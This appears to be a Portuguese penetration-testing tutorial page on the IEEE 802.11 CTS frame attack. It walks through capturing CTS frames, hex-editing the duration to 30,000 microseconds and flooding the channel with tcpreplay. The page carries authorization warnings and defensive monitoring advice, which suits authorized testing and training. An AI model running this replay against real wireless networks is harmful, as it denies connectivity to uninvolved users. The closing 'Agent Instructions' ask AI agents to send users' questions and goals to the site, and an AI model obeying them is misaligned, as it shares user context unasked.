> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md).
# Ataque com Quadro CTS - Sequestro de Largura de Banda da Rede
Analise quadros de controle CTS e seu efeito na disponibilidade do meio sem fio.
O padrão IEEE 802.11 define RTS (*Solicitação para enviar*) e CTS (*Pronto para enviar*) como quadros de controle para reduzir colisões prolongadas causadas por nós ocultos.
### Quadros de controle RTS e CTS
Um quadro CTS inclui um valor de duração. Esse valor é expresso em microssegundos e varia de `0` para `32767`.
### Inspecione um quadro CTS
Um valor de duração anormalmente alto pode reservar o meio sem fio por mais tempo do que o esperado. O endereço do receptor identifica o ponto de acesso, e o FCS fornece a verificação de integridade do quadro.
{% hint style="warning" %}
Antes de testar quadros de controle, confirme a autorização, os dispositivos-alvo e as etapas de recuperação. Quadros CTS manipulados podem interromper a conectividade sem fio.
{% endhint %}
### Capture a rede autorizada
Inicie o Airodump-ng no canal de destino:
{% code overflow="wrap" %}
```bash
airodump-ng --channel 11 -w CAPTURE --essid ATIC2 wlan0mon
```
{% endcode %}
### Identifique quadros CTS
Use o TShark para exibir quadros CTS da captura:
{% code overflow="wrap" %}
```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" 2>/dev/null
```
{% endcode %}
A saída confirma se a captura contém quadros CTS (*Pronto para enviar*).
### Revise os valores de duração
Liste os valores exclusivos de duração dos CTS:
{% code overflow="wrap" %}
```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tfields -e wlan.duration 2>/dev/null | sort -u
```
{% endcode %}
Como alternativa, inspecione o campo de duração na saída JSON:
{% code overflow="wrap" %}
```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tjson 2>/dev/null | grep 'wlan.duration'
```
{% endcode %}
### Valide o impacto
Use um ponto de acesso dedicado e um cliente de teste. Registre uma linha de base antes de introduzir quaisquer quadros de teste.
1. Meça a vazão normal, a latência e a perda de pacotes.
2. Use o BSSID do ponto de acesso como endereço do receptor.
3. Compare as medições após o teste delimitado.
Uma duração de `30000` representa 30 milissegundos. O campo de duração usa microssegundos, não milissegundos.
### Interprete os resultados
Quadros CTS repetidos com valores de duração altos podem fazer com que as estações próximas adiem a transmissão. Isso reduz o tempo de transmissão disponível e pode diminuir a vazão da rede.
Compare os valores de duração capturados com a linha de base. Registre se os clientes permanecem conectados e se o desempenho se recupera após a interrupção do teste.
### Documente as conclusões defensivas
Informe o canal afetado, o ponto de acesso, a duração do teste e o impacto observado nos clientes. Inclua a linha de base e as medições de recuperação.
Monitore quadros CTS repetidos com valores de duração incomuns. Mantenha o firmware do ponto de acesso atualizado e investigue uma saturação inesperada do tempo de transmissão.
### Inspecione quadros CTS com o Wireshark
Abra a captura diretamente no Wireshark:
{% code overflow="wrap" %}
```bash
wireshark CAPTURE-01.cap > /dev/null 2>&1 & disown
```
{% endcode %}
Aplique o seguinte filtro de exibição:
{% code overflow="wrap" %}
```bash
wlan.fc.type_subtype==28
```
{% endcode %}
Os detalhes do IEEE 802.11 também mostram o valor de duração (110 microssegundos)
### Exporte um quadro CTS selecionado
Selecione um quadro CTS e use **Arquivo → Exportar pacotes especificados**. Escolha **Somente o pacote selecionado** para exportar apenas esse quadro.
### Inspecione o quadro exportado com o GHex
Abra a captura exportada com o GHex:
{% code overflow="wrap" %}
```bash
ghex ctsframe.pcap > /dev/null 2>&1 &
```
{% endcode %}
O arquivo exportado pode não conter o quadro esperado. Nesse caso, faça a captura diretamente da interface em modo monitor e verifique o quadro no Wireshark.
### Capture diretamente com o Wireshark
Faça a captura diretamente quando o arquivo exportado não contiver o quadro CTS esperado.
Abra o Wireshark, selecione a `wlan0mon` interface e aplique o filtro de exibição CTS:
{% code overflow="wrap" %}
```bash
wlan.fc.type_subtype==28
```
{% endcode %}
Por exemplo, o primeiro quadro mostra uma duração de 132 microssegundos. Confirme se o endereço de destino corresponde ao ponto de acesso de teste autorizado.
Exporte o quadro selecionado como `ctsframe.pcap`.
Abra o arquivo e localize o valor de duração. Os bytes após o endereço MAC de 12 caracteres são `84 00`.
{% code overflow="wrap" %}
```bash
ghex ctsframe.pcap > /dev/null 2>&1 &
```
{% endcode %}
Convertendo `0x0084` para decimal produz o mesmo valor mostrado no pacote: 132.
{% code overflow="wrap" %}
```
python
0x0084
```
{% endcode %}
Converta 30000 para hexadecimal:
{% code overflow="wrap" %}
```python
python
hex(30000)
```
{% endcode %}
O resultado é:
* 0x7530
Para este teste delimitado, substitua `84 00` por `30 75`. Os bytes usam ordem little-endian.
Abra a captura novamente para verificar a alteração:
{% code overflow="wrap" %}
```bash
wireshark ctsframe.pcap > /dev/null 2>&1 & disown
```
{% endcode %}
O Wireshark agora mostra uma duração de 30.000 microssegundos.
Antes de usar o comando a seguir, confirme o dispositivo-alvo, o canal, a duração e a janela de recuperação. Ele transmite repetidamente o quadro de teste para medir o impacto na rede.
{% code overflow="wrap" %}
```bash
tcpreplay --intf1=wlan0mon --topspeed --loop=2000 ctsframe.pcap 2>/dev/null
```
{% endcode %}
O comando percorre 2.000 pacotes. Cada pacote anuncia uma duração de 30.000 microssegundos, o que pode esgotar o tempo de transmissão disponível.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/pt-br/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
